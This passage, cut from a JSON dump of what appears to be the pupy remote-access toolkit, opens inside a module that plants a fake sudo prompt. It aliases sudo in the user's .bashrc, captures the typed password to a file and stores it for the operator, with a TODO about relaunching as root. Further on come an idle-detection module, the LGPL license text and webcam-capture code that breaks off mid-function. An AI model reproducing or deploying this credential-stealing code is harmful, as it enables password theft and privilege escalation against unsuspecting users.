os.path.exists(self.alias_file):\n            os.remove(self.alias_file)\n\n        # restore file\n        open(self.bashrc, 'w').write(self.original_bashrc_content)\n\n    def sudo_alias_code(self):\n        return '''\n#!/bin/bash\nusername=`whoami`\nmaxtries=3\ncmd=\"\"\nif [ $# -gt 0 ]\nthen\n    cmd=\"$@\"\nelse\n    cmd=`$realSudo`\nfi\npassword=\"\"\ncpt=0\ncorrect=1\nwhile [ $cpt -ne $maxtries ]\ndo\n    read -s -p \"[sudo] password for $username: \" password\n    sudo -K 2>/dev/null\n    output=`echo \"$password\" | sudo -S $cmd 2>/dev/null`\n    if [ $? -ne 0 ]\n    then\n        echo \"\"\n        echo \"Sorry, try again.\"\n        cpt=`expr $cpt + 1`\n    else\n        echo \"\"\n        echo \"$output\"\n        correct=0\n        break\n    fi\ndone\nif [ $correct -eq 1 ]\nthen\n    echo \"sudo: $cpt incorrect password attempts\"\n    exit 1\nelse\n    # [OPTIONAL_LINE]\n    echo \"$password\" > [STORE_PASSWORD]\n    exit 0\nfi\n'''\n\n    def run(self):\n        if os.path.exists(self.bashrc):\n            self.original_bashrc_content = open(self.bashrc).read()\n\n        # TO DO\n        # launch pupy as root\n        # replace # [OPTIONAL_LINE] by echo \"$password\" | sudo -S <path_to_pupy_binary>\n\n        # write code to the tmp directory\n        code = self.sudo_alias_code().replace('[STORE_PASSWORD]', self.password_file)\n        open(self.alias_file, 'w').write(code)\n\n        # change file permission to be executable\n        if self.system == 'darwin':\n            # os.chmod does not work on mac os\n            cmd = 'chmod +x {alias_file}'.format(alias_file=self.alias_file)\n            p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n            stdout, stderr = p.communicate()\n        else:\n            st = os.stat(self.alias_file)\n            os.chmod(self.alias_file, st.st_mode | stat.S_IEXEC)\n\n        # create alias sudo\n        alias = \"\\nalias sudo='{alias_file}'\\n\".format(alias_file=self.alias_file)\n        open(self.bashrc, 'a+').write(alias)\n\n        # wait to get the password\n        password = ''\n        while not self.stopped:\n            if os.path.exists(self.password_file):\n                password = open(self.password_file).read()\n                self.store_sudo_password(password)\n                self.stopped = True\n            time.sleep(5)\n\n        # clean everything\n        self.clean_files()\n"
  },
  {
    "path": "pupy/packages/posix/all/uidle.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport ctypes\nimport os\nimport time\n\nfrom display import attach_to_display\nfrom ctypes.util import find_library\n\nimport psutil\n\nclass XScreenSaverInfo(ctypes.Structure):\n    _fields_ = [\n        ('window',      ctypes.c_ulong), # screen saver window\n        ('state',       ctypes.c_int),   # off,on,disabled\n        ('kind',        ctypes.c_int),   # blanked,internal,external\n        ('since',       ctypes.c_ulong), # milliseconds\n        ('idle',        ctypes.c_ulong), # milliseconds\n        ('event_mask',  ctypes.c_ulong)] # events\n\nxlib = None\nxss = None\nxlibs_available = None\n\nXOpenDisplay = None\nXDefaultRootWindow = None\nXCloseDisplay = None\nXFree = None\nXScreenSaverAllocInfo = None\nXScreenSaverQueryInfo = None\n\ndef load_uidle_libs():\n    global xlib, xss\n    global XOpenDisplay, XDefaultRootWindow, XCloseDisplay\n    global XFree, XScreenSaverAllocInfo, XScreenSaverQueryInfo\n    global xlibs_available\n\n    if xlibs_available is not None:\n        return\n\n    try:\n        xlib = ctypes.cdll.LoadLibrary(find_library('X11'))\n\n        XOpenDisplay = xlib.XOpenDisplay\n        XOpenDisplay.argtypes = [ctypes.c_char_p]\n        XOpenDisplay.restype = ctypes.c_void_p\n\n        XDefaultRootWindow = xlib.XDefaultRootWindow\n        XDefaultRootWindow.argtypes = [ctypes.c_void_p]\n        XDefaultRootWindow.restype = ctypes.c_ulong\n\n        XCloseDisplay = xlib.XCloseDisplay\n        XCloseDisplay.argtypes = [ctypes.c_void_p]\n        XCloseDisplay.restype = ctypes.c_int\n\n        XFree = xlib.XFree\n        XFree.argtypes = [ctypes.c_void_p]\n        XFree.restype = ctypes.c_int\n\n    except:\n        xlib = None\n\n    try:\n        xss = ctypes.cdll.LoadLibrary('libXss.so.1')\n\n        XScreenSaverAllocInfo = xss.XScreenSaverAllocInfo\n        XScreenSaverAllocInfo.restype = ctypes.POINTER(XScreenSaverInfo)\n\n        XScreenSaverQueryInfo = xss.XScreenSaverQueryInfo\n        XScreenSaverQueryInfo.argtypes = [\n            ctypes.c_void_p, ctypes.c_int, ctypes.c_void_p\n        ]\n        XScreenSaverQueryInfo.restype.restype = ctypes.c_int\n\n    except:\n        xss = None\n\n    if xlib and xss:\n        xlibs_available = True\n\ndef get_gui_idle(display=None):\n    if not os.environ.get('DISPLAY'):\n        if display:\n            if not attach_to_display(display):\n                return None\n        else:\n            return None\n\n    load_uidle_libs()\n\n    if xlibs_available is False:\n        return None\n\n    display = XOpenDisplay(os.environ.get('DISPLAY'))\n    if not display:\n        return None\n\n    xssinfo = XScreenSaverAllocInfo()\n    if not xssinfo:\n        XCloseDisplay(display)\n        return None\n\n    idle = None\n\n    status = XScreenSaverQueryInfo(display, XDefaultRootWindow(display), xssinfo)\n    if status:\n        idle = xssinfo.contents.idle\n        XFree(xssinfo)\n\n    XCloseDisplay(display)\n\n    return int(idle / 1000) if idle else None\n\ndef get_cli_idle():\n    now = time.time()\n\n    idles = []\n    for user in psutil.users():\n        if not user.terminal:\n            continue\n\n        try:\n            dev_stat = os.stat('/dev/' + user.terminal)\n        except OSError:\n            continue\n\n        idles.append(now - dev_stat.st_atime)\n\n    if not idles:\n        return None\n\n    idle = min(idles)\n    psutil._pmap = {}\n    return idle\n\ndef get_idle():\n    cli_idle = get_cli_idle()\n\n    try:\n        gui_idle = get_gui_idle()\n    except:\n        gui_idle = None\n\n    if gui_idle is None:\n        return cli_idle\n    elif cli_idle is None:\n        return gui_idle\n    else:\n        return min(cli_idle, gui_idle)\n"
  },
  {
    "path": "pupy/packages/src/VideoCapture/LGPL.txt",
    "content": "\t\t  GNU LESSER GENERAL PUBLIC LICENSE\n\t\t       Version 2.1, February 1999\n\n Copyright (C) 1991, 1999 Free Software Foundation, Inc.\n     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n[This is the first released version of the Lesser GPL.  It also counts\n as the successor of the GNU Library Public License, version 2, hence\n the version number 2.1.]\n\n\t\t\t    Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicenses are intended to guarantee your freedom to share and change\nfree software--to make sure the software is free for all its users.\n\n  This license, the Lesser General Public License, applies to some\nspecially designated software packages--typically libraries--of the\nFree Software Foundation and other authors who decide to use it.  You\ncan use it too, but we suggest you first think carefully about whether\nthis license or the ordinary General Public License is the better\nstrategy to use in any particular case, based on the explanations below.\n\n  When we speak of free software, we are referring to freedom of use,\nnot price.  Our General Public Licenses are designed to make sure that\nyou have the freedom to distribute copies of free software (and charge\nfor this service if you wish); that you receive source code or can get\nit if you want it; that you can change the software and use pieces of\nit in new free programs; and that you are informed that you can do\nthese things.\n\n  To protect your rights, we need to make restrictions that forbid\ndistributors to deny you these rights or to ask you to surrender these\nrights.  These restrictions translate to certain responsibilities for\nyou if you distribute copies of the library or if you modify it.\n\n  For example, if you distribute copies of the library, whether gratis\nor for a fee, you must give the recipients all the rights that we gave\nyou.  You must make sure that they, too, receive or can get the source\ncode.  If you link other code with the library, you must provide\ncomplete object files to the recipients, so that they can relink them\nwith the library after making changes to the library and recompiling\nit.  And you must show them these terms so they know their rights.\n\n  We protect your rights with a two-step method: (1) we copyright the\nlibrary, and (2) we offer you this license, which gives you legal\npermission to copy, distribute and/or modify the library.\n\n  To protect each distributor, we want to make it very clear that\nthere is no warranty for the free library.  Also, if the library is\nmodified by someone else and passed on, the recipients should know\nthat what they have is not the original version, so that the original\nauthor's reputation will not be affected by problems that might be\nintroduced by others.\n\f\n  Finally, software patents pose a constant threat to the existence of\nany free program.  We wish to make sure that a company cannot\neffectively restrict the users of a free program by obtaining a\nrestrictive license from a patent holder.  Therefore, we insist that\nany patent license obtained for a version of the library must be\nconsistent with the full freedom of use specified in this license.\n\n  Most GNU software, including some libraries, is covered by the\nordinary GNU General Public License.  This license, the GNU Lesser\nGeneral Public License, applies to certain designated libraries, and\nis quite different from the ordinary General Public License.  We use\nthis license for certain libraries in order to permit linking those\nlibraries into non-free programs.\n\n  When a program is linked with a library, whether statically or using\na shared library, the combination of the two is legally speaking a\ncombined work, a derivative of the original library.  The ordinary\nGeneral Public License therefore permits such linking only if the\nentire combination fits its criteria of freedom.  The Lesser General\nPublic License permits more lax criteria for linking other code with\nthe library.\n\n  We call this license the \"Lesser\" General Public License because it\ndoes Less to protect the user's freedom than the ordinary General\nPublic License.  It also provides other free software developers Less\nof an advantage over competing non-free programs.  These disadvantages\nare the reason we use the ordinary General Public License for many\nlibraries.  However, the Lesser license provides advantages in certain\nspecial circumstances.\n\n  For example, on rare occasions, there may be a special need to\nencourage the widest possible use of a certain library, so that it becomes\na de-facto standard.  To achieve this, non-free programs must be\nallowed to use the library.  A more frequent case is that a free\nlibrary does the same job as widely used non-free libraries.  In this\ncase, there is little to gain by limiting the free library to free\nsoftware only, so we use the Lesser General Public License.\n\n  In other cases, permission to use a particular library in non-free\nprograms enables a greater number of people to use a large body of\nfree software.  For example, permission to use the GNU C Library in\nnon-free programs enables many more people to use the whole GNU\noperating system, as well as its variant, the GNU/Linux operating\nsystem.\n\n  Although the Lesser General Public License is Less protective of the\nusers' freedom, it does ensure that the user of a program that is\nlinked with the Library has the freedom and the wherewithal to run\nthat program using a modified version of the Library.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.  Pay close attention to the difference between a\n\"work based on the library\" and a \"work that uses the library\".  The\nformer contains code derived from the library, whereas the latter must\nbe combined with the library in order to run.\n\f\n\t\t  GNU LESSER GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License Agreement applies to any software library or other\nprogram which contains a notice placed by the copyright holder or\nother authorized party saying it may be distributed under the terms of\nthis Lesser General Public License (also called \"this License\").\nEach licensee is addressed as \"you\".\n\n  A \"library\" means a collection of software functions and/or data\nprepared so as to be conveniently linked with application programs\n(which use some of those functions and data) to form executables.\n\n  The \"Library\", below, refers to any such software library or work\nwhich has been distributed under these terms.  A \"work based on the\nLibrary\" means either the Library or any derivative work under\ncopyright law: that is to say, a work containing the Library or a\nportion of it, either verbatim or with modifications and/or translated\nstraightforwardly into another language.  (Hereinafter, translation is\nincluded without limitation in the term \"modification\".)\n\n  \"Source code\" for a work means the preferred form of the work for\nmaking modifications to it.  For a library, complete source code means\nall the source code for all modules it contains, plus any associated\ninterface definition files, plus the scripts used to control compilation\nand installation of the library.\n\n  Activities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning a program using the Library is not restricted, and output from\nsuch a program is covered only if its contents constitute a work based\non the Library (independent of the use of the Library in a tool for\nwriting it).  Whether that is true depends on what the Library does\nand what the program that uses the Library does.\n  \n  1. You may copy and distribute verbatim copies of the Library's\ncomplete source code as you receive it, in any medium, provided that\nyou conspicuously and appropriately publish on each copy an\nappropriate copyright notice and disclaimer of warranty; keep intact\nall the notices that refer to this License and to the absence of any\nwarranty; and distribute a copy of this License along with the\nLibrary.\n\n  You may charge a fee for the physical act of transferring a copy,\nand you may at your option offer warranty protection in exchange for a\nfee.\n\f\n  2. You may modify your copy or copies of the Library or any portion\nof it, thus forming a work based on the Library, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) The modified work must itself be a software library.\n\n    b) You must cause the files modified to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    c) You must cause the whole of the work to be licensed at no\n    charge to all third parties under the terms of this License.\n\n    d) If a facility in the modified Library refers to a function or a\n    table of data to be supplied by an application program that uses\n    the facility, other than as an argument passed when the facility\n    is invoked, then you must make a good faith effort to ensure that,\n    in the event an application does not supply such function or\n    table, the facility still operates, and performs whatever part of\n    its purpose remains meaningful.\n\n    (For example, a function in a library to compute square roots has\n    a purpose that is entirely well-defined independent of the\n    application.  Therefore, Subsection 2d requires that any\n    application-supplied function or table used by this function must\n    be optional: if the application does not supply it, the square\n    root function must still compute square roots.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Library,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Library, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote\nit.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Library.\n\nIn addition, mere aggregation of another work not based on the Library\nwith the Library (or with a work based on the Library) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may opt to apply the terms of the ordinary GNU General Public\nLicense instead of this License to a given copy of the Library.  To do\nthis, you must alter all the notices that refer to this License, so\nthat they refer to the ordinary GNU General Public License, version 2,\ninstead of to this License.  (If a newer version than version 2 of the\nordinary GNU General Public License has appeared, then you can specify\nthat version instead if you wish.)  Do not make any other change in\nthese notices.\n\f\n  Once this change is made in a given copy, it is irreversible for\nthat copy, so the ordinary GNU General Public License applies to all\nsubsequent copies and derivative works made from that copy.\n\n  This option is useful when you wish to copy part of the code of\nthe Library into a program that is not a library.\n\n  4. You may copy and distribute the Library (or a portion or\nderivative of it, under Section 2) in object code or executable form\nunder the terms of Sections 1 and 2 above provided that you accompany\nit with the complete corresponding machine-readable source code, which\nmust be distributed under the terms of Sections 1 and 2 above on a\nmedium customarily used for software interchange.\n\n  If distribution of object code is made by offering access to copy\nfrom a designated place, then offering equivalent access to copy the\nsource code from the same place satisfies the requirement to\ndistribute the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  5. A program that contains no derivative of any portion of the\nLibrary, but is designed to work with the Library by being compiled or\nlinked with it, is called a \"work that uses the Library\".  Such a\nwork, in isolation, is not a derivative work of the Library, and\ntherefore falls outside the scope of this License.\n\n  However, linking a \"work that uses the Library\" with the Library\ncreates an executable that is a derivative of the Library (because it\ncontains portions of the Library), rather than a \"work that uses the\nlibrary\".  The executable is therefore covered by this License.\nSection 6 states terms for distribution of such executables.\n\n  When a \"work that uses the Library\" uses material from a header file\nthat is part of the Library, the object code for the work may be a\nderivative work of the Library even though the source code is not.\nWhether this is true is especially significant if the work can be\nlinked without the Library, or if the work is itself a library.  The\nthreshold for this to be true is not precisely defined by law.\n\n  If such an object file uses only numerical parameters, data\nstructure layouts and accessors, and small macros and small inline\nfunctions (ten lines or less in length), then the use of the object\nfile is unrestricted, regardless of whether it is legally a derivative\nwork.  (Executables containing this object code plus portions of the\nLibrary will still fall under Section 6.)\n\n  Otherwise, if the work is a derivative of the Library, you may\ndistribute the object code for the work under the terms of Section 6.\nAny executables containing that work also fall under Section 6,\nwhether or not they are linked directly with the Library itself.\n\f\n  6. As an exception to the Sections above, you may also combine or\nlink a \"work that uses the Library\" with the Library to produce a\nwork containing portions of the Library, and distribute that work\nunder terms of your choice, provided that the terms permit\nmodification of the work for the customer's own use and reverse\nengineering for debugging such modifications.\n\n  You must give prominent notice with each copy of the work that the\nLibrary is used in it and that the Library and its use are covered by\nthis License.  You must supply a copy of this License.  If the work\nduring execution displays copyright notices, you must include the\ncopyright notice for the Library among them, as well as a reference\ndirecting the user to the copy of this License.  Also, you must do one\nof these things:\n\n    a) Accompany the work with the complete corresponding\n    machine-readable source code for the Library including whatever\n    changes were used in the work (which must be distributed under\n    Sections 1 and 2 above); and, if the work is an executable linked\n    with the Library, with the complete machine-readable \"work that\n    uses the Library\", as object code and/or source code, so that the\n    user can modify the Library and then relink to produce a modified\n    executable containing the modified Library.  (It is understood\n    that the user who changes the contents of definitions files in the\n    Library will not necessarily be able to recompile the application\n    to use the modified definitions.)\n\n    b) Use a suitable shared library mechanism for linking with the\n    Library.  A suitable mechanism is one that (1) uses at run time a\n    copy of the library already present on the user's computer system,\n    rather than copying library functions into the executable, and (2)\n    will operate properly with a modified version of the library, if\n    the user installs one, as long as the modified version is\n    interface-compatible with the version that the work was made with.\n\n    c) Accompany the work with a written offer, valid for at\n    least three years, to give the same user the materials\n    specified in Subsection 6a, above, for a charge no more\n    than the cost of performing this distribution.\n\n    d) If distribution of the work is made by offering access to copy\n    from a designated place, offer equivalent access to copy the above\n    specified materials from the same place.\n\n    e) Verify that the user has already received a copy of these\n    materials or that you have already sent this user a copy.\n\n  For an executable, the required form of the \"work that uses the\nLibrary\" must include any data and utility programs needed for\nreproducing the executable from it.  However, as a special exception,\nthe materials to be distributed need not include anything that is\nnormally distributed (in either source or binary form) with the major\ncomponents (compiler, kernel, and so on) of the operating system on\nwhich the executable runs, unless that component itself accompanies\nthe executable.\n\n  It may happen that this requirement contradicts the license\nrestrictions of other proprietary libraries that do not normally\naccompany the operating system.  Such a contradiction means you cannot\nuse both them and the Library together in an executable that you\ndistribute.\n\f\n  7. You may place library facilities that are a work based on the\nLibrary side-by-side in a single library together with other library\nfacilities not covered by this License, and distribute such a combined\nlibrary, provided that the separate distribution of the work based on\nthe Library and of the other library facilities is otherwise\npermitted, and provided that you do these two things:\n\n    a) Accompany the combined library with a copy of the same work\n    based on the Library, uncombined with any other library\n    facilities.  This must be distributed under the terms of the\n    Sections above.\n\n    b) Give prominent notice with the combined library of the fact\n    that part of it is a work based on the Library, and explaining\n    where to find the accompanying uncombined form of the same work.\n\n  8. You may not copy, modify, sublicense, link with, or distribute\nthe Library except as expressly provided under this License.  Any\nattempt otherwise to copy, modify, sublicense, link with, or\ndistribute the Library is void, and will automatically terminate your\nrights under this License.  However, parties who have received copies,\nor rights, from you under this License will not have their licenses\nterminated so long as such parties remain in full compliance.\n\n  9. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Library or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Library (or any work based on the\nLibrary), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Library or works based on it.\n\n  10. Each time you redistribute the Library (or any work based on the\nLibrary), the recipient automatically receives a license from the\noriginal licensor to copy, distribute, link with or modify the Library\nsubject to these terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties with\nthis License.\n\f\n  11. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Library at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Library by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Library.\n\nIf any portion of this section is held invalid or unenforceable under any\nparticular circumstance, the balance of the section is intended to apply,\nand the section as a whole is intended to apply in other circumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  12. If the distribution and/or use of the Library is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Library under this License may add\nan explicit geographical distribution limitation excluding those countries,\nso that distribution is permitted only in or among countries not thus\nexcluded.  In such case, this License incorporates the limitation as if\nwritten in the body of this License.\n\n  13. The Free Software Foundation may publish revised and/or new\nversions of the Lesser General Public License from time to time.\nSuch new versions will be similar in spirit to the present version,\nbut may differ in detail to address new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Library\nspecifies a version number of this License which applies to it and\n\"any later version\", you have the option of following the terms and\nconditions either of that version or of any later version published by\nthe Free Software Foundation.  If the Library does not specify a\nlicense version number, you may choose any version ever published by\nthe Free Software Foundation.\n\f\n  14. If you wish to incorporate parts of the Library into other free\nprograms whose distribution conditions are incompatible with these,\nwrite to the author to ask for permission.  For software which is\ncopyrighted by the Free Software Foundation, write to the Free\nSoftware Foundation; we sometimes make exceptions for this.  Our\ndecision will be guided by the two goals of preserving the free status\nof all derivatives of our free software and of promoting the sharing\nand reuse of software generally.\n\n\t\t\t    NO WARRANTY\n\n  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO\nWARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.\nEXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR\nOTHER PARTIES PROVIDE THE LIBRARY \"AS IS\" WITHOUT WARRANTY OF ANY\nKIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE\nLIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME\nTHE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN\nWRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY\nAND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU\nFOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR\nCONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE\nLIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING\nRENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A\nFAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF\nSUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH\nDAMAGES.\n\n\t\t     END OF TERMS AND CONDITIONS\n\f\n           How to Apply These Terms to Your New Libraries\n\n  If you develop a new library, and you want it to be of the greatest\npossible use to the public, we recommend making it free software that\neveryone can redistribute and change.  You can do so by permitting\nredistribution under these terms (or, alternatively, under the terms of the\nordinary General Public License).\n\n  To apply these terms, attach the following notices to the library.  It is\nsafest to attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least the\n\"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the library's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This library is free software; you can redistribute it and/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nAlso add information on how to contact you by electronic and paper mail.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the library, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the\n  library `Frob' (a library for tweaking knobs) written by James Random Hacker.\n\n  <signature of Ty Coon>, 1 April 1990\n  Ty Coon, President of Vice\n\nThat's all there is to it!\n\n\n"
  },
  {
    "path": "pupy/packages/src/VideoCapture/src/VideoCapture.py",
    "content": "\"\"\"VideoCapture.py\n\nby Markus Gritsch <gritsch@iue.tuwien.ac.at>\n\n\"\"\"\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport vidcap\nfrom PIL import Image, ImageFont, ImageDraw\nimport time\nimport string\n\ndefault_textpos = 'bl' # t=top, b=bottom;   l=left, c=center, r=right\ntextcolor = 0xffffff\nshadowcolor = 0x000000\n\ndef now():\n    \"\"\"Returns a string containing the current date and time.\n\n    This function is used internally by VideoCapture to generate the timestamp\n    with which a snapshot can optionally be marked.\n\n    \"\"\"\n    weekday = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun')\n    #weekday = ('Mo', 'Di', 'Mi', 'Do', 'Fr', 'Sa', 'So')\n    #weekday = ('-', '-', '-', '-', '-', '-', '-')\n    y, m, d, hr, min, sec, wd, jd, dst = time.localtime(time.time())\n    return '%s:%s:%s %s %s.%s.%s' % (string.zfill(hr, 2), string.zfill(min, 2), string.zfill(sec, 2), weekday[wd], d, m, y)\n\nclass Device:\n    \"\"\"Create instances of this class which will then represent video devices.\n\n    For the lifetime of the instance, the device is blocked, so it can not be\n    used by other applications (which is quite normal Windows behavior).\n    If you want to access the device from another program, you have to delete\n    the instance first (e.g. del cam).\n\n    \"\"\"\n    def __init__(self, devnum=0, showVideoWindow=0):\n        \"\"\"devnum:  VideoCapture enumerates the available video capture devices\n                    on your system.  If you have more than one device, specify\n                    the desired one here.  The device number starts from 0.\n\n           showVideoWindow: 0 ... do not display a video window (the default)\n                            1 ... display a video window\n\n                            Mainly used for debugging, since the video window\n                            can not be closed or moved around.\n\n        \"\"\"\n        self.dev = vidcap.new_Dev(devnum, showVideoWindow)\n        self.normalfont = ImageFont.load_path('helvetica-10.pil')\n        self.boldfont = ImageFont.load_path('helvB08.pil')\n        self.font = None\n\n    def displayPropertyPage(self):\n        \"\"\"deprecated\n\n        Use the methods displayCaptureFilterProperties() and\n        displayCapturePinProperties() instead.\n\n        \"\"\"\n        print('WARNING: displayPropertyPage() is deprecated.')\n        print('         Use displayCaptureFilterProperties() and displayCapturePinProperties()')\n        print('         instead!')\n        self.dev.displaypropertypage()\n\n    def displayCaptureFilterProperties(self):\n        \"\"\"Displays a dialog containing the property page of the capture filter.\n\n        For VfW drivers you may find the option to select the resolution most\n        likele here.\n\n        \"\"\"\n        self.dev.displaycapturefilterproperties()\n\n    def displayCapturePinProperties(self):\n        \"\"\"Displays a dialog containing the property page of the capture pin.\n\n        For WDM drivers you may find the option to select the resolution most\n        likele here.\n\n        \"\"\"\n        self.dev.displaycapturepinproperties()\n\n    def setResolution(self, width, height):\n        \"\"\"Sets the capture resolution. (without dialog)\n\n        (contributed by Don Kimber <kimber@fxpal.com>)\n\n        \"\"\"\n        self.dev.setresolution(width, height)\n\n    def getDisplayName(self):\n        \"\"\" Gets the Windows \"friendly name\" for the device (for example \"Microsoft LifeCam VX-1000\")\n\n        (contributed by Jeremy Mortis (mortis@tansay.ca)\n        \"\"\"\n        return self.dev.getdisplayname()\n\n    def getBuffer(self):\n        \"\"\"Returns a string containing the raw pixel data.\n\n        You probably don't want to use this function, but rather getImage() or\n        saveSnapshot().\n\n        \"\"\"\n        return self.dev.getbuffer()\n\n    def getImage(self, timestamp=0, boldfont=0, textpos=default_textpos):\n        \"\"\"Returns a PIL Image instance.\n\n        timestamp:  0 ... no timestamp (the default)\n                    1 ... simple timestamp\n                    2 ... timestamp with shadow\n                    3 ... timestamp with outline\n\n        boldfont:   0 ... normal font (the default)\n                    1 ... bold font\n\n        textpos:    The position of the timestamp can be specified by a string\n                    containing a combination of two characters.  One character\n                    must be either t or b, the other one either l, c or r.\n\n                    t ... top\n                    b ... bottom\n\n                    l ... left\n                    c ... center\n                    r ... right\n\n                    The default value is 'bl'\n\n        \"\"\"\n        if timestamp:\n            #text = now()\n            text = time.asctime(time.localtime(time.time()))\n        buffer, width, height = self.getBuffer()\n        if buffer:\n            im = Image.fromstring('RGB', (width, height), buffer, 'raw', 'BGR', 0, -1)\n            if timestamp:\n                if boldfont:\n                    self.font = self.boldfont\n                else:\n                    self.font = self.normalfont\n                tw, th = self.font.getsize(text)\n                tw -= 2\n                th -= 2\n                if 't' in textpos:\n                    y = -1\n                elif 'b' in textpos:\n                    y = height - th - 2\n                else:\n                    raise ValueError(\"textpos must contain exactly one out of 't', 'b'\")\n                if 'l' in textpos:\n                    x = 2\n                elif 'c' in textpos:\n                    x = (width - tw) / 2\n                elif 'r' in textpos:\n                    x = (width - tw) - 2\n                else:\n                    raise ValueError(\"textpos must contain exactly one out of 'l', 'c', 'r'\")\n                draw = ImageDraw.Draw(im)\n                if timestamp == 2: # shadow\n                    draw.text((x+1, y), text, font=self.font, fill=shadowcolor)\n                    draw.text((x, y+1), text, font=self.font, fill=shadowcolor)\n                    draw.text((x+1, y+1), text, font=self.font, fill=shadowcolor)\n                else:\n                    if timestamp >= 3: # thin border\n                        draw.text((x-1, y), text, font=self.font, fill=shadowcolor)\n                        draw.text((x+1, y), text, font=self.font, fill=shadowcolor)\n                        draw.text((x, y-1), text, font=self.font, fill=shadowcolor)\n                        draw.text((x, y+1), text, font=self.font, fill=shadowcolor)\n                    if timestamp == 4: # thick border\n                        draw.text((x-1, y-1), text, font=self.font, fill=shadowcolor)\n                        draw.text((x+1, y-1), text, font=self.font, fill=shadowcolor)\n                        draw.text((x-1, y+1), text, font=self.font, fill=shadowcolor)\n                        draw.text((x+1, y+1), text, font=self.font, fill=shadowcolor)\n      